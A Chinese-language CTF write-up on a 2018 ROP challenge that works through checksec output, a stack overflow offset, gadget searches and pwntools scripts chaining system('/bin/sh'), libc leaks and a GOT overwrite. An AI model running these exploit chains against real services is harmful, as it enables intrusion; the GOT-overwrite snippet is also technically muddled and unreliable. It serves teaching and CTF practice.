1. 项目背景与ROP技术概述
2018年第五赛区铁人三项赛事中的ROP挑战题,是典型的二进制漏洞利用项目。ROP(Return-Oriented Programming)作为现代系统安全防护机制下的攻击技术,通过复用已有代码片段(gadgets)来绕过DEP(数据执行保护)等安全措施。这道题目集中考察了选手在内存布局分析、指令片段挖掘和调用链构建方面的能力。
在实际渗透测试中,ROP技术常被用于突破那些启用了NX/DEP保护的服务程序。与传统的shellcode注入不同,ROP不需要向进程注入可执行代码,而是巧妙地组合目标程序本身或其所加载库中的指令片段。这种技术最早由Hovav Shacham在2007年系统性地提出,现已成为二进制安全领域的必修课。
2. 题目环境搭建与初步分析
2.1 实验环境准备
建议使用Ubuntu 18.04 LTS作为基础环境,这是与2018年比赛环境最接近的系统版本。需要安装的核心工具包括:
- pwntools:Python编写的漏洞利用框架(版本4.0+)
- ROPgadget:自动化gadget查找工具(版本5.4+)
- GDB with peda:增强版调试器
- checksec:安全机制检测脚本
sudo apt install python3-pip pip3 install pwntools sudo apt install ropgadget git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit2.2 二进制文件基础分析
首先使用checksec检查目标程序的安全机制:
checksec rop_challenge [*] '/tmp/rop_challenge' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)关键信息解读:
- 32位小端架构
- 开启NX(不可执行栈)
- 未启用地址随机化(PIE)
- 无栈保护(canary)
这提示我们需要通过ROP技术绕过NX保护,同时由于地址固定,不需要考虑地址泄露问题。
3. 漏洞定位与利用规划
3.1 缓冲区溢出漏洞确认
通过逆向分析或fuzz测试,可发现程序存在典型的栈溢出漏洞。在用户输入函数(如gets/scanf)处,输入超长字符串会导致程序崩溃。使用cyclic模式确认溢出偏移量:
from pwn import * p = process('./rop_challenge') payload = cyclic(500) p.sendline(payload) p.wait() core = p.corefile offset = cyclic_find(core.eip) print(f"Offset: {offset}")假设输出显示偏移量为140,意味着我们需要在140字节后覆盖返回地址。
3.2 可利用函数分析
使用radare2或IDA检查二进制文件的导入函数:
rabin2 -i rop_challenge [Imports] nth vaddr bind type lib name ――――――――――――――――――――――――――――――――――――― 1 0x080483c0 GLOBAL FUNC gets 2 0x080483d0 GLOBAL FUNC system 3 0x080483e0 GLOBAL FUNC __libc_start_main发现存在危险的gets函数和关键的系统调用system。但进一步检查字符串:
rabin2 -z rop_challenge [Strings] nth paddr vaddr len size section type string ――――――――――――――――――――――――――――――――――――――――――――――――――――― 0 0x00000648 0x08048648 17 18 .rodata ascii /bin/sh幸运的是程序中已经存在"/bin/sh"字符串,地址为0x08048648。这意味着我们可以直接构造system("/bin/sh")的调用。
4. ROP链构造实战
4.1 基础ROP链构建
对于32位程序,函数调用遵循cdecl约定,参数通过栈传递。构造system调用的基本思路:
- 覆盖返回地址为system函数地址(0x080483d0)
- 在返回地址后放置"/bin/sh"字符串地址
- 填充必要的返回地址(可设为exit函数地址)
对应的payload结构:
[140字节填充][system地址][fake返回地址]["/bin/sh"地址]Python实现:
from pwn import * context(arch='i386', os='linux') system_addr = 0x080483d0 binsh_addr = 0x08048648 payload = b'A'*140 payload += p32(system_addr) payload += p32(0xdeadbeef) # 虚构返回地址 payload += p32(binsh_addr) p = process('./rop_challenge') p.sendline(payload) p.interactive()4.2 复杂ROP链进阶
当程序中没有现成的system和"/bin/sh"时,需要更复杂的ROP链。典型步骤:
- 泄露libc地址(通过puts/got)
- 计算system实际地址
- 将"/bin/sh"写入可写内存
- 构造最终调用
示例代码片段:
# 泄露puts的got表地址 rop = ROP(elf) rop.call('puts', [elf.got['puts']]) rop.call('main') # 返回main函数重新利用 # 发送第一阶段payload p.sendline(flat({offset: rop.chain()})) puts_addr = u32(p.recv(4)) # 计算system地址(假设已知libc版本) libc = ELF('/lib/i386-linux-gnu/libc.so.6') libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system']5. Gadget挖掘与链式调用
5.1 关键gadget查找
使用ROPgadget工具查找有用指令片段:
ROPgadget --binary rop_challenge --only "pop|ret" Gadgets information ============================================================ 0x0804843d : pop ebp ; ret 0x0804843c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0804835d : pop ebx ; ret 0x0804843f : pop edi ; pop ebp ; ret 0x0804843e : pop esi ; pop edi ; pop ebp ; ret对于参数传递,我们需要关注pop指令。例如0x0804835d的"pop ebx; ret"可以用于加载单个参数。
5.2 多参数调用构造
当需要调用如execve这样的多参数函数时,需要更复杂的链式结构。示例:
[填充][pop ebx; ret][arg1][pop ecx; ret][arg2][函数地址]对应的pwntools实现:
rop = ROP(elf) rop.execve(ebx=bin_sh_addr, ecx=0, edx=0) print(rop.dump())6. 漏洞利用的稳定性优化
6.1 栈对齐问题处理
在某些架构和环境下,函数调用时需要栈指针16字节对齐。可以通过插入额外的ret指令来调整:
rop.raw(rop.ret) # 添加额外ret指令对齐栈 rop.system(bin_sh_addr)6.2 坏字符处理
当输入中存在被过滤的字符(如\x00、\x0a等),需要:
- 识别坏字符列表
- 选择不包含坏字符的地址
- 使用编码技术(如XOR编码)
badchars = b'\x00\x0a\x0d' # 示例坏字符 rop = ROP(elf, badchars=badchars) # pwntools会自动规避7. 防御措施与绕过技巧
7.1 常见防护机制
现代系统针对ROP的防护包括:
- ASLR(地址空间随机化)
- Stack Canary(栈保护)
- CFG(控制流完整性)
- Shadow Stack(影子栈)
7.2 部分RELRO下的GOT改写
当程序为Partial RELRO时,可考虑改写GOT表项:
# 将strcmp的GOT项改为system地址 rop = ROP(elf) rop.raw(elf.plt['write']) # 任意写原语 rop.raw(elf.got['strcmp']) rop.raw(system_addr)8. 自动化工具实战
8.1 pwntools的ROP模块
现代漏洞利用框架大大简化了ROP链构造:
from pwn import * context.binary = elf = ELF('./rop_challenge') rop = ROP(elf) # 自动查找可用gadget rop.system(next(elf.search(b'/bin/sh'))) print(rop.dump()) # 生成最终payload payload = flat({140: rop.chain()})8.2 angr符号执行辅助
对于复杂约束,可使用符号执行引擎:
import angr p = angr.Project('./rop_challenge') simgr = p.factory.simulation_manager(p.factory.full_init_state()) simgr.explore(find=lambda s: b"shell" in s.posix.dumps(1))9. 赛后复盘与经验总结
这道2018年的ROP题目虽然现在看来是基础题型,但包含了二进制漏洞利用的多个核心要点:
- 基础栈溢出漏洞识别
- NX绕过技术选择
- 函数调用约定理解
- 工具链熟练使用
在实际渗透测试中,遇到现代防护机制时还需要结合:
- 堆漏洞利用技巧
- 地址泄露技术
- 多阶段攻击链构造
一个专业的漏洞利用开发流程应该包括:
- 目标分析(安全机制、函数表、字符串)
- 漏洞确认(输入点、溢出长度)
- 利用原语构建(读写、跳转)
- 利用链设计(功能实现)
- 稳定性优化(坏字符、环境适配)